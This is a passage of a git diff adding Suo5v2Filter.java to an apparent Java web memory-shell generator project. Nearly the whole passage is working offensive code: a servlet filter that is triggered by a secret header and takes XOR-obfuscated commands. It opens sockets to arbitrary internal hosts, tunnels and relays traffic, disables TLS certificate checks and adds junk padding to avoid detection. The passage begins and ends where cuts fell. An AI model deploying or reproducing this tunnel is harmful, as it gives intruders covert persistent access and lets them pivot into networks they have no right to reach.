authType) throws CertificateException { + } + + public X509Certificate[] getAcceptedIssuers() { + return new X509Certificate[0]; + } + + public void run() { + // full stream + if (this.mode == 0) { + try { + pipeStream(gInStream, gOutStream, true); + } catch (Exception ignore) { + } + return; + } + + Object[] objs = (Object[]) getKey(this.gtunId); + if (objs == null || objs.length != 3) { + + return; + } + SocketChannel sc = (SocketChannel) objs[0]; + BlockingQueue readQueue = (BlockingQueue) objs[1]; + BlockingQueue writeQueue = (BlockingQueue) objs[2]; + boolean selfClean = false; + + try { + if (mode == 1) { + // read thread + ByteBuffer buffer = ByteBuffer.allocate(BUF_SIZE); + while (true) { + byte[] data = readSocketChannel(sc, buffer); + if (data.length == 0) { + break; + } + if (!readQueue.offer(data, 60, TimeUnit.SECONDS)) { + selfClean = true; + break; + } + } + } else { + // write thread + while (true) { + byte[] data = writeQueue.poll(300, TimeUnit.SECONDS); + if (data == null || data.length == 0) { + selfClean = true; + break; + } + ByteBuffer buf = ByteBuffer.wrap(data); + while (buf.hasRemaining()) { + sc.write(buf); + } + } + } + } catch (Exception e) { + } finally { + if (selfClean) { + + removeKey(this.gtunId); + } + readQueue.clear(); + writeQueue.clear(); + try { + writeQueue.put(new byte[0]); + sc.close(); + } catch (Exception ignore) { + } + + } + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Filter.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Filter.java new file mode 100644 index 00000000..cb6e08a0 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Filter.java @@ -0,0 +1,1182 @@ +package com.reajason.javaweb.memshell.shelltool.suo5v2; + +import javax.net.ssl.*; +import javax.servlet.*; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.*; +import java.net.*; +import java.nio.ByteBuffer; +import java.nio.channels.SocketChannel; +import java.security.MessageDigest; +import java.security.NoSuchAlgorithmException; +import java.security.cert.CertificateException; +import java.security.cert.X509Certificate; +import java.util.*; +import java.util.concurrent.BlockingQueue; +import java.util.concurrent.LinkedBlockingQueue; +import java.util.concurrent.TimeUnit; + +/** + * @author ReaJason + * @since 2025/12/9 + */ +public class Suo5v2Filter implements Filter, Runnable, HostnameVerifier, X509TrustManager { + public static String headerName; + public static String headerValue; + private static HashMap addrs = collectAddr(); + private static Hashtable ctx = new Hashtable(); + + private final String CHARACTERS = "abcdefghijklmnopqrstuvwxyz0123456789"; + private final int CHARACTERS_LENGTH = CHARACTERS.length(); + private final int BUF_SIZE = 1024 * 16; + + private InputStream gInStream; + private OutputStream gOutStream; + private String gtunId; + private int mode = 0; + + public Suo5v2Filter() { + } + + public Suo5v2Filter(InputStream in, OutputStream out, String tunId) { + this.gInStream = in; + this.gOutStream = out; + this.gtunId = tunId; + } + + public Suo5v2Filter(String tunId, int mode) { + this.gtunId = tunId; + this.mode = mode; + } + + @Override + public void init(FilterConfig filterConfig) throws ServletException { + + } + + @Override + public void doFilter(ServletRequest sReq, ServletResponse sResp, FilterChain chain) throws IOException, ServletException { + HttpServletRequest request = (HttpServletRequest) sReq; + HttpServletResponse response = (HttpServletResponse) sResp; + try { + if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { + new Suo5v2Filter().process(request, response); + return; + } + } catch (Throwable ignored) { + } + chain.doFilter(sReq, sResp); + } + + private void process(ServletRequest request, ServletResponse response) { + HttpServletRequest req = (HttpServletRequest) request; + HttpServletResponse resp = (HttpServletResponse) response; + + String sid = null; + byte[] bodyPrefix = new byte[0]; + try { + InputStream reqInputStream = req.getInputStream(); + HashMap dataMap = unmarshalBase64(reqInputStream); + + byte[] modeData = (byte[]) dataMap.get("m"); + byte[] actionData = (byte[]) dataMap.get("ac"); + byte[] tunIdData = (byte[]) dataMap.get("id"); + byte[] sidData = (byte[]) dataMap.get("sid"); + if (actionData == null || actionData.length != 1 || tunIdData == null || tunIdData.length == 0 || modeData == null || modeData.length == 0) { + return; + } + if (sidData != null && sidData.length > 0) { + sid = new String(sidData); + } + + String tunId = new String(tunIdData); + byte mode = modeData[0]; + switch (mode) { + case 0x00: + sid = randomString(16); + processHandshake(req, resp, dataMap, tunId, sid); + + break; + case 0x01: + setBypassHeader(resp); + processFullStream(req, resp, dataMap, tunId); + break; + case 0x02: + setBypassHeader(resp); + // don't break here, continue to process + case 0x03: + byte[] bodyContent = toByteArray(reqInputStream); + if (processRedirect(req, resp, dataMap, bodyPrefix, bodyContent)) { + + break; + } + + if (sidData == null || sidData.length == 0 || getKey(new String(sidData)) == null) { + // send to wrong node, client should retry + resp.setStatus(403); + + return; + } + + InputStream bodyStream = new ByteArrayInputStream(bodyContent); + int dirySize = getDirtySize(sid); + + if (mode == 0x02) { + // half mode + writeAndFlush(resp, processTemplateStart(resp, new String(sidData)), dirySize); + do { + processHalfStream(req, resp, dataMap, tunId, dirySize); + try { + dataMap = unmarshalBase64(bodyStream); + if (dataMap.isEmpty()) { + break; + } + tunId = new String((byte[]) dataMap.get("id")); + } catch (Exception e) { + break; + } + } while (true); + writeAndFlush(resp, processTemplateEnd(sid), dirySize); + + } else { + // classic mode + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + baos.write(processTemplateStart(resp, new String(sidData))); + + do { + processClassic(req, baos, dataMap, tunId); + try { + dataMap = unmarshalBase64(bodyStream); + if (dataMap.isEmpty()) { + break; + } + tunId = new String((byte[]) dataMap.get("id")); + } catch (Exception e) { + break; + } + } while (true); + + baos.write(processTemplateEnd(sid)); + resp.setContentLength(baos.size()); + writeAndFlush(resp, baos.toByteArray(), 0); + } + + break; + default: + } + } catch (Throwable e) { + } finally { + + } + } + + private void setBypassHeader(HttpServletResponse resp) { + resp.setBufferSize(BUF_SIZE); + resp.setHeader("X-Accel-Buffering", "no"); + } + + private byte[] processTemplateStart(HttpServletResponse resp, String sid) throws Exception { + byte[] data = new byte[0]; + Object o = getKey(sid); + if (o == null) { + + return data; + } + String[] tplParts = (String[]) o; + if (tplParts.length != 3) { + return data; + } + + resp.setHeader("Content-Type", tplParts[0]); + return tplParts[1].getBytes(); + } + + private byte[] processTemplateEnd(String sid) { + byte[] data = new byte[0]; + Object o = getKey(sid); + if (o == null) { + + return data; + } + String[] tplParts = (String[]) o; + if (tplParts.length != 3) { + return data; + } + + return tplParts[2].getBytes(); + } + + private int getDirtySize(String sid) { + Object o = getKey(sid + "_jk"); + if (o == null) { + return 0; + } + return (Integer) o; + } + + private boolean processRedirect(HttpServletRequest req, HttpServletResponse resp, HashMap dataMap, byte[] bodyPrefix, byte[] bodyContent) throws Exception { + byte[] redirectData = (byte[]) dataMap.get("r"); + dataMap.remove("r"); + // load balance, send request with data to request url + boolean needRedirect = redirectData != null && redirectData.length > 0; + if (needRedirect && !isLocalAddr(new String(redirectData))) { + HttpURLConnection conn = null; + try { + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + baos.write(bodyPrefix); + baos.write(marshalBase64(dataMap)); + baos.write(bodyContent); + byte[] newBody = baos.toByteArray(); + conn = redirect(req, new String(redirectData), newBody); + pipeStream(conn.getInputStream(), resp.getOutputStream(), false); + } finally { + if (conn != null) { + conn.disconnect(); + } + } + return true; + } + return false; + } + + private void processHandshake(HttpServletRequest req, HttpServletResponse resp, HashMap dataMap, String tunId, String sid) throws Exception { + byte[] redirectData = (byte[]) dataMap.get("r"); + boolean needRedirect = redirectData != null && redirectData.length > 0; + if (needRedirect && !isLocalAddr(new String(redirectData))) { + resp.setStatus(403); + return; + } + + byte[] tplData = (byte[]) dataMap.get("tpl"); + byte[] contentTypeData = (byte[]) dataMap.get("ct"); + if (tplData != null && tplData.length > 0 && contentTypeData != null && contentTypeData.length > 0) { + String tpl = new String(tplData); + String[] parts = tpl.split("#data#", 2); + putKey(sid, new String[]{new String(contentTypeData), parts[0], parts[1]}); + } else { + putKey(sid, new String[0]); + } + + byte[] dirtySizeData = (byte[]) dataMap.get("jk"); + if (dirtySizeData != null && dirtySizeData.length > 0) { + int dirtySize = 0; + try { + dirtySize = Integer.parseInt(new String(dirtySizeData)); + } catch (NumberFormatException e) { + + } + if (dirtySize < 0) { + dirtySize = 0; + } + putKey(sid + "_jk", dirtySize); + } + + byte[] isAutoData = (byte[]) dataMap.get("a"); + boolean isAuto = isAutoData != null && isAutoData.length > 0 && isAutoData[0] == 0x01; + if (isAuto) { + setBypassHeader(resp); + writeAndFlush(resp, processTemplateStart(resp, sid), 0); + + // write the body string to verify + writeAndFlush(resp, marshalBase64(newData(tunId, (byte[]) dataMap.get("dt"))), 0); + + Thread.sleep(2000); + + // write again to identify streaming response + writeAndFlush(resp, marshalBase64(newData(tunId, sid.getBytes())), 0); + writeAndFlush(resp, processTemplateEnd(sid), 0); + } else { + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + baos.write(processTemplateStart(resp, sid)); + baos.write(marshalBase64(newData(tunId, (byte[]) dataMap.get("dt")))); + baos.write(marshalBase64(newData(tunId, sid.getBytes()))); + baos.write(processTemplateEnd(sid)); + resp.setContentLength(baos.size()); + writeAndFlush(resp, baos.toByteArray(), 0); + } + } + + private void processFullStream(HttpServletRequest req, HttpServletResponse resp, HashMap dataMap, String tunId) throws Exception { + InputStream reqInputStream = req.getInputStream(); + String host = new String((byte[]) dataMap.get("h")); + int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); + if (port == 0) { + port = getServerPort(req); + } + + Socket socket = null; + + try { + socket = new Socket(); + socket.setTcpNoDelay(true); + socket.setReceiveBufferSize(128 * 1024); + socket.setSendBufferSize(128 * 1024); + socket.connect(new InetSocketAddress(host, port), 5000); + writeAndFlush(resp, marshalBase64(newStatus(tunId, (byte) 0x00)), 0); + } catch (Exception e) { + if (socket != null) { + socket.close(); + } + writeAndFlush(resp, marshalBase64(newStatus(tunId, (byte) 0x01)), 0); + return; + } + + + Thread t = null; + boolean sendClose = true; + try { + final OutputStream scOutStream = socket.getOutputStream(); + final InputStream scInStream = socket.getInputStream(); + final OutputStream respOutputStream = resp.getOutputStream(); + + Suo5v2Filter p = new Suo5v2Filter(scInStream, respOutputStream, tunId); + t = new Thread(p); + t.start(); + + while (true) { + HashMap newData = unmarshalBase64(reqInputStream); + if (newData.isEmpty()) { + break; + } + byte action = ((byte[]) newData.get("ac"))[0]; + switch (action) { + case 0x00: + case 0x02: + sendClose = false; + break; + case 0x01: + byte[] data = (byte[]) newData.get("dt"); + if (data.length != 0) { + scOutStream.write(data); + scOutStream.flush(); + } + break; + case 0x10: + writeAndFlush(resp, marshalBase64(newHeartbeat(tunId)), 0); + break; + default: + } + } + } catch (Exception ignored) { + } finally { + + try { + socket.close(); + } catch (Exception ignored) { + } + + if (sendClose) { + writeAndFlush(resp, marshalBase64(newDel(tunId)), 0); + } + if (t != null) { + t.join(); + } + + } + } + + private void processHalfStream(HttpServletRequest req, HttpServletResponse resp, HashMap dataMap, String tunId, int dirtySize) throws Exception { + boolean newThread = false; + boolean sendClose = true; + + try { + byte action = ((byte[]) dataMap.get("ac"))[0]; + switch (action) { + case 0x00: + byte[] createData = performCreate(req, dataMap, tunId, newThread); + writeAndFlush(resp, createData, dirtySize); + + Object[] objs = (Object[]) getKey(tunId); + if (objs == null) { + throw new IOException("tunnel not found"); + } + SocketChannel sc = (SocketChannel) objs[0]; + ByteBuffer buffer = ByteBuffer.allocate(BUF_SIZE); + while (true) { + try { + byte[] data = readSocketChannel(sc, buffer); + if (data.length == 0) { + break; + } + writeAndFlush(resp, marshalBase64(newData(tunId, data)), dirtySize); + } catch (Exception e) { +// + break; + } + } + break; + case 0x01: + performWrite(dataMap, tunId, newThread); + break; + case 0x02: + + sendClose = false; + performDelete(tunId); + break; + case 0x10: + writeAndFlush(resp, marshalBase64(newHeartbeat(tunId)), dirtySize); + break; + } + + } catch (Exception e) { + + performDelete(tunId); + if (sendClose) { + writeAndFlush(resp, marshalBase64(newDel(tunId)), dirtySize); + } + } + } + + private void processClassic(HttpServletRequest req, ByteArrayOutputStream respBodyStream, HashMap dataMap, String tunId) throws + Exception { + boolean sendClose = true; + boolean newThread = true; + + try { + byte action = ((byte[]) dataMap.get("ac"))[0]; + switch (action) { + case 0x00: + byte[] createData = performCreate(req, dataMap, tunId, newThread); + respBodyStream.write(createData); + break; + case 0x01: + performWrite(dataMap, tunId, newThread); + byte[] readData = performRead(tunId); + respBodyStream.write(readData); + break; + case 0x02: + sendClose = false; + performDelete(tunId); + break; + } + + } catch (Exception e) { + + performDelete(tunId); + if (sendClose) { + respBodyStream.write(marshalBase64(newDel(tunId))); + } + } + } + + private void writeAndFlush(HttpServletResponse resp, byte[] data, int dirtySize) throws Exception { + if (data == null || data.length == 0) { + return; + } + OutputStream out = resp.getOutputStream(); + out.write(data); + if (dirtySize != 0) { + + out.write(marshalBase64(newDirtyChunk(dirtySize))); + } + out.flush(); + resp.flushBuffer(); + } + + private byte[] performCreate(HttpServletRequest request, HashMap dataMap, String tunId, boolean newThread) throws Exception { + String host = new String((byte[]) dataMap.get("h")); + int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); + if (port == 0) { + port = getServerPort(request); + } + + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + SocketChannel socketChannel = null; + HashMap resultData = null; + try { + socketChannel = SocketChannel.open(); + socketChannel.socket().setTcpNoDelay(true); + socketChannel.socket().setReceiveBufferSize(128 * 1024); + socketChannel.socket().setSendBufferSize(128 * 1024); + socketChannel.socket().connect(new InetSocketAddress(host, port), 3000); + socketChannel.configureBlocking(true); + resultData = newStatus(tunId, (byte) 0x00); + BlockingQueue readQueue = new LinkedBlockingQueue(100); + BlockingQueue writeQueue = new LinkedBlockingQueue(); + putKey(tunId, new Object[]{socketChannel, readQueue, writeQueue}); + if (newThread) { + new Thread(new Suo5v2Filter(tunId, 1)).start(); + new Thread(new Suo5v2Filter(tunId, 2)).start(); + } + } catch (Exception e) { + if (socketChannel != null) { + try { + socketChannel.close(); + } catch (Exception ignore) { + } + } + + resultData = newStatus(tunId, (byte) 0x01); + } + baos.write(marshalBase64(resultData)); + return baos.toByteArray(); + } + + private void performWrite(HashMap dataMap, String tunId, boolean newThread) throws Exception { + Object[] objs = (Object[]) getKey(tunId); + if (objs == null) { + throw new IOException("tunnel not found"); + } + SocketChannel sc = (SocketChannel) objs[0]; + if (!sc.isConnected()) { + throw new IOException("socket not connected"); + } + + byte[] data = (byte[]) dataMap.get("dt"); + if (data.length != 0) { + if (newThread) { + BlockingQueue writeQueue = (BlockingQueue) objs[2]; + writeQueue.put(data); + } else { + ByteBuffer buf = ByteBuffer.wrap(data); + while (buf.hasRemaining()) { + sc.write(buf); + } + } + } + } + + private byte[] performRead(String tunId) throws Exception { + Object[] objs = (Object[]) getKey(tunId); + if (objs == null) { + throw new IOException("tunnel not found"); + } + SocketChannel sc = (SocketChannel) objs[0]; + if (!sc.isConnected()) { + throw new IOException("socket not connected"); + } + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + BlockingQueue readQueue = (BlockingQueue) objs[1]; + int maxSize = 512 * 1024; // 1MB + int written = 0; + while (true) { + byte[] data = readQueue.poll(); + if (data != null) { + written += data.length; + baos.write(marshalBase64(newData(tunId, data))); + if (written >= maxSize) { + break; + } + } else { + break; // no more data + } + } + return baos.toByteArray(); + } + + private void performDelete(String tunId) { + Object[] objs = (Object[]) getKey(tunId); + if (objs != null) { + removeKey(tunId); + SocketChannel sc = (SocketChannel) objs[0]; + BlockingQueue writeQueue = (BlockingQueue) objs[2]; + try { + // trigger write thread to exit; + writeQueue.put(new byte[0]); + sc.close(); + } catch (Exception ignore) { + } + } + } + + private int getServerPort(HttpServletRequest request) throws Exception { + int port; + try { + port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } catch (Exception e) { + port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } + return port; + } + + private void pipeStream(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws Exception { + try { + byte[] readBuf = new byte[1024 * 8]; + while (true) { + int n = inputStream.read(readBuf); + if (n <= 0) { + break; + } + byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n); + if (needMarshal) { + dataTmp = marshalBase64(newData(this.gtunId, dataTmp)); + } + outputStream.write(dataTmp); + outputStream.flush(); + } + } finally { + // don't close outputStream + if (inputStream != null) { + try { + inputStream.close(); + } catch (Exception ignore) { + } + } + } + } + + private byte[] readSocketChannel(SocketChannel socketChannel, ByteBuffer buffer) throws IOException { + buffer.clear(); + int bytesRead = socketChannel.read(buffer); + if (bytesRead <= 0) { // EOF or error + return new byte[0]; + } + + buffer.flip(); + byte[] data = new byte[buffer.remaining()]; + buffer.get(data); + return data; + } + + private static HashMap collectAddr() { + HashMap addrs = new HashMap(); + try { + Enumeration nifs = NetworkInterface.getNetworkInterfaces(); + while (nifs.hasMoreElements()) { + NetworkInterface nif = (NetworkInterface) nifs.nextElement(); + Enumeration addresses = nif.getInetAddresses(); + while (addresses.hasMoreElements()) { + InetAddress addr = (InetAddress) addresses.nextElement(); + String s = addr.getHostAddress(); + if (s != null) { + // fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4 + int ifaceIndex = s.indexOf('%'); + if (ifaceIndex != -1) { + s = s.substring(0, ifaceIndex); + } + addrs.put((Object) s, (Object) Boolean.TRUE); + } + } + } + } catch (Exception e) { + } + return addrs; + } + + private boolean isLocalAddr(String url) throws Exception { + String ip = (new URL(url)).getHost(); + return addrs.containsKey(ip); + } + + private HttpURLConnection redirect(HttpServletRequest request, String rUrl, byte[] body) throws Exception { + String method = request.getMethod(); + URL u = new URL(rUrl); + HttpURLConnection conn = (HttpURLConnection) u.openConnection(); + conn.setRequestMethod(method); + try { + // conn.setConnectTimeout(3000); + conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)}); + // conn.setReadTimeout(0); + conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)}); + } catch (Exception e) { + // java1.4 + } + conn.setDoOutput(true); + conn.setDoInput(true); + + // ignore ssl verify + // ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java + if (HttpsURLConnection.class.isInstance(conn)) { + ((HttpsURLConnection) conn).setHostnameVerifier(this); + SSLContext sslCtx = SSLContext.getInstance("SSL"); + sslCtx.init(null, new TrustManager[]{this}, null); + ((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory()); + } + + Enumeration headers = request.getHeaderNames(); + while (headers.hasMoreElements()) { + String k = (String) headers.nextElement(); + if (k.equalsIgnoreCase("Content-Length")) { + conn.setRequestProperty(k, String.valueOf(body.length)); + } else if (k.equalsIgnoreCase("Host")) { + conn.setRequestProperty(k, u.getHost()); + } else if (k.equalsIgnoreCase("Connection")) { + conn.setRequestProperty(k, "close"); + } else if (k.equalsIgnoreCase("Content-Encoding") || k.equalsIgnoreCase("Transfer-Encoding")) { + continue; + } else { + conn.setRequestProperty(k, request.getHeader(k)); + } + } + + OutputStream rout = conn.getOutputStream(); + rout.write(body); + rout.flush(); + rout.close(); + conn.getResponseCode(); + return conn; + } + + + private byte[] toByteArray(InputStream in) { + try { + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + byte[] buffer = new byte[4096]; + + int len; + while ((len = in.read(buffer)) != -1) { + baos.write(buffer, 0, len); + } + + return baos.toByteArray(); + } catch (IOException var5) { + return new byte[0]; + } + } + + private void readFull(InputStream is, byte[] b) throws IOException { + int bufferOffset = 0; + while (bufferOffset < b.length) { + int readLength = b.length - bufferOffset; + int readResult = is.read(b, bufferOffset, readLength); + if (readResult == -1) { + throw new IOException("stream EOF"); + } + bufferOffset += readResult; + } + } + + public HashMap newDirtyChunk(int size) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x11}); + if (size > 0) { + byte[] data = new byte[size]; + new Random().nextBytes(data); + m.put("d", data); + } + return m; + } + + private HashMap newData(String tunId, byte[] data) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x01}); + m.put("dt", data); + m.put("id", tunId.getBytes()); + return m; + } + + private HashMap newDel(String tunId) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x02}); + m.put("id", tunId.getBytes()); + return m; + } + + private HashMap newStatus(String tunId, byte b) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x03}); + m.put("s", new byte[]{b}); + m.put("id", tunId.getBytes()); + return m; + } + + private HashMap newHeartbeat(String tunId) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x10}); + m.put("id", tunId.getBytes()); + return m; + } + + private byte[] u32toBytes(int i) { + byte[] result = new byte[4]; + result[0] = (byte) (i >> 24); + result[1] = (byte) (i >> 16); + result[2] = (byte) (i >> 8); + result[3] = (byte) (i /*>> 0*/); + return result; + } + + private int bytesToU32(byte[] bytes) { + return ((bytes[0] & 0xFF) << 24) | + ((bytes[1] & 0xFF) << 16) | + ((bytes[2] & 0xFF) << 8) | + ((bytes[3] & 0xFF) << 0); + } + + private void putKey(String k, Object v) { + ctx.put(k, v); + } + + private Object getKey(String k) { + return ctx.get(k); + } + + private void removeKey(String k) { + ctx.remove(k); + } + + private byte[] copyOfRange(byte[] original, int from, int to) { + int newLength = to - from; + if (newLength < 0) { + throw new IllegalArgumentException(from + " > " + to); + } + byte[] copy = new byte[newLength]; + int copyLength = Math.min(original.length - from, newLength); + // can't use System.arraycopy, there is no system in some environment + // System.arraycopy(original, from, copy, 0, copyLength); + for (int i = 0; i < copyLength; i++) { + copy[i] = original[from + i]; + } + return copy; + } + + private String base64UrlEncode(byte[] bs) throws Exception { + Class base64; + String value = null; + try { + base64 = Class.forName("java.util.Base64"); + Object Encoder = base64.getMethod("getEncoder", new Class[0]) + .invoke(base64, new Object[0]); + value = (String) Encoder.getClass() + .getMethod("encodeToString", new Class[]{byte[].class}) + .invoke(Encoder, new Object[]{bs}); + } catch (Exception e) { + try { + base64 = Class.forName("sun.misc.BASE64Encoder"); + Object Encoder = base64.newInstance(); + value = (String) Encoder.getClass() + .getMethod("encode", new Class[]{byte[].class}) + .invoke(Encoder, new Object[]{bs}); + value = value.replaceAll("\\s+", ""); + } catch (Exception e2) { + } + } + if (value != null) { + value = value.replace('+', '-').replace('/', '_'); + while (value.endsWith("=")) { + value = value.substring(0, value.length() - 1); + } + } + return value; + } + + + private byte[] base64UrlDecode(String bs) throws Exception { + if (bs == null) { + return null; + } + bs = bs.replace('-', '+').replace('_', '/'); + while (bs.length() % 4 != 0) { + bs += "="; + } + + Class base64; + byte[] value = null; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", new Class[0]).invoke(base64, new Object[0]); + value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception e) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception e2) { + } + } + return value; + } + + private byte[] marshalBase64(HashMap m) throws Exception { + // add some junk data, 0~16 random size + Random random = new Random(); + int junkSize = random.nextInt(32); + if (junkSize > 0) { + byte[] junk = new byte[junkSize]; + random.nextBytes(junk); + m.put("_", junk); + } + + ByteArrayOutputStream buf = new ByteArrayOutputStream(); + Object[] keys = m.keySet().toArray(); + for (int i = 0; i < keys.length; i++) { + String key = (String) keys[i]; + byte[] value = (byte[]) m.get(key); + buf.write((byte) key.length()); + buf.write(key.getBytes()); + buf.write(u32toBytes(value.length)); + buf.write(value); + } + + // xor key + byte[] key = new byte[2]; + key[0] = (byte) ((Math.random() * 255) + 1); + key[1] = (byte) ((Math.random() * 255) + 1); + + byte[] data = buf.toByteArray(); + for (int i = 0; i < data.length; i++) { + data[i] = (byte) (data[i] ^ key[i % 2]); + } + data = base64UrlEncode(data).getBytes(); + + ByteBuffer dbuf = ByteBuffer.allocate(6); + dbuf.put(key); + dbuf.putInt(data.length); + byte[] headerData = dbuf.array(); + for (int i = 2; i < 6; i++) { + headerData[i] = (byte) (headerData[i] ^ key[i % 2]); + } + headerData = base64UrlEncode(headerData).getBytes(); + dbuf = ByteBuffer.allocate(8 + data.length); + dbuf.put(headerData); + dbuf.put(data); + return dbuf.array(); + } + + private HashMap unmarshalBase64(InputStream in) throws Exception { + HashMap m = new HashMap(); + byte[] header = new byte[8]; // base64 header + readFull(in, header); + header = base64UrlDecode(new String(header)); + if (header == null || header.length == 0) { + return m; + } + byte[] xor = new byte[]{header[0], header[1]}; + for (int i = 2; i < 6; i++) { + header[i] = (byte) (header[i] ^ xor[i % 2]); + } + ByteBuffer bb = ByteBuffer.wrap(header, 2, 4); + int len = bb.getInt(); + if (len > 1024 * 1024 * 32) { + throw new IOException("invalid len"); + } + byte[] bs = new byte[len]; + readFull(in, bs); + bs = base64UrlDecode(new String(bs)); + for (int i = 0; i < bs.length; i++) { + bs[i] = (byte) (bs[i] ^ xor[i % 2]); + } + + byte[] buf; + for (int i = 0; i < bs.length; ) { + int kLen = bs[i] & 0xFF; + i += 1; + if (i + kLen > bs.length) { + throw new Exception("key len error"); + } + buf = copyOfRange(bs, i, i + kLen); + String key = new String(buf); + i += kLen; + + if (i + 4 > bs.length) { + throw new Exception("value len error"); + } + buf = copyOfRange(bs, i, i + 4); + int vLen = bytesToU32(buf); + i += 4; + if (vLen < 0) { + throw new Exception("value error"); + } + + if (i + vLen > bs.length) { + throw new Exception("value error"); + } + byte[] value = copyOfRange(bs, i, i + vLen); + i += vLen; + + m.put(key, value); + } + return m; + } + + private String randomString(int length) { + if (length <= 0) { + return ""; + } + Random random = new Random(); + char[] randomChars = new char[length]; + for (int i = 0; i < length; i++) { + int randomIndex = random.nextInt(CHARACTERS_LENGTH); + randomChars[i] = CHARACTERS.charAt(randomIndex); + } + return new String(randomChars); + } + + private int toOffset(byte[] bs) { + if (bs == null || bs.length != 4) { + return 0; + } + try { + bs = base64UrlDecode(new String(bs)); + return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF); + } catch (Exception e) { + + return 0; + } + } + + private String getOffset(HttpServletRequest request) { + String cookieValue = request.getHeader("Cookie"); + if (cookieValue != null && cookieValue.length() > 0) { + ArrayList cookieVals = cookieValues(cookieValue); + for (int i = 0; i < cookieVals.size(); i++) { + String val = (String) cookieVals.get(i); + if (val.length() >= 12) { + if (is_valid(val.substring(val.length() - 8), 430) != null) { + return val; + } + } + } + } + + Enumeration headerNames = request.getHeaderNames(); + while (headerNames != null && headerNames.hasMoreElements()) { + String headerName = (String) headerNames.nextElement(); + String val = request.getHeader(headerName); + if (val.length() >= 12) { + if (is_valid(val.substring(val.length() - 8), 430) != null) { + return val; + } + } + } + + return null; + } + + private byte[] is_valid(String data, int sum) { + try { + byte[] result = base64UrlDecode(data); + if (result.length < 6) { + return null; + } else { + int i = result.length - 2; + int j = result.length - 3; + int p = result.length - 5; + int q = result.length - 6; + boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum; + return valid ? result : null; + } + } catch (Exception var8) { + return null; + } + } + + private boolean isOdd(int i) { + return (i & 1) == 1; + } + + private int toUInt(byte x) { + return x & 255; + } + + public static String md5(byte[] content) { + MessageDigest md = null; + try { + md = MessageDigest.getInstance("MD5"); + } catch (NoSuchAlgorithmException e) { + throw new RuntimeException(e); + } + byte[] md5Bytes = md.digest(content); + // no String.format in java1.4 + StringBuffer sb = new StringBuffer(); + for (int i = 0; i < md5Bytes.length; i++) { + byte b = md5Bytes[i]; + int value = b & 0xFF; + if (value < 16) { + sb.append('0'); + } + sb.append(Integer.toHexString(value)); + } + return sb.toString(); + } + + private ArrayList cookieValues(String cookieValue) { + ArrayList values = new ArrayList(); + String[] cookiePairs = cookieValue.split(";"); + + for (int i = 0; i < cookiePairs.length; i++) { + String pair = cookiePairs[i]; + String[] keyValue = pair.split("=", 2); + if (keyValue.length >= 2) { + values.add(keyValue[1].trim()); + } + } + + return values; + } + + public boolean verify(String hostname, SSLSession session) { + return true; + } + + public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException { + } + + public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException { + } + + public X509Certificate[] getAcceptedIssuers() { + return new X509Certificate[0]; + } + + public void run() { + // full stream + if (this.mode == 0) { + try { + pipeStream(gInStream, gOutStream, true); + } catch (Exception ignore) { + } + return; + } + + Object[] objs = (Object[]) getKey(this.gtunId); + if (objs == null || objs.length != 3) { + + return; + } + SocketChannel sc = (SocketChannel) objs[0]; + BlockingQueue readQueue = (BlockingQueue) objs[1]; + BlockingQueue writeQueue = (BlockingQueue) objs[2]; + boolean selfClean = false; + + try { + if (mode == 1) { + // read thread + ByteBuffer buffer = ByteBuffer.allocate(BUF_SIZE); + while (true) { + byte[] data = readSocketChannel(sc, buffer); + if (data.length == 0) { + break; + } + if (!readQueue.offer(data, 60, TimeUnit.SECONDS)) { + selfClean = true; + break; + } + } + } else { + // write thread + while (true) { + byte[] data = writeQueue.poll(300, TimeUnit.SECONDS); + if (data == null || data.length == 0) { + selfClean = true; + break; + } + ByteBuffer buf = ByteBuffer.wrap(data); + while (buf.hasRemaining()) { + sc.write(buf); + } + } + } + } catch (Exception e) { + } finally { + if (selfClean) { + + removeKey(this.gtunId); + } + readQueue.clear(); + writeQueue.clear(); + try { + writeQueue.put(new byte[0]); + sc.close(); + } catch (Exception ignore) { + } + + } + } + + @Override + public void destroy() 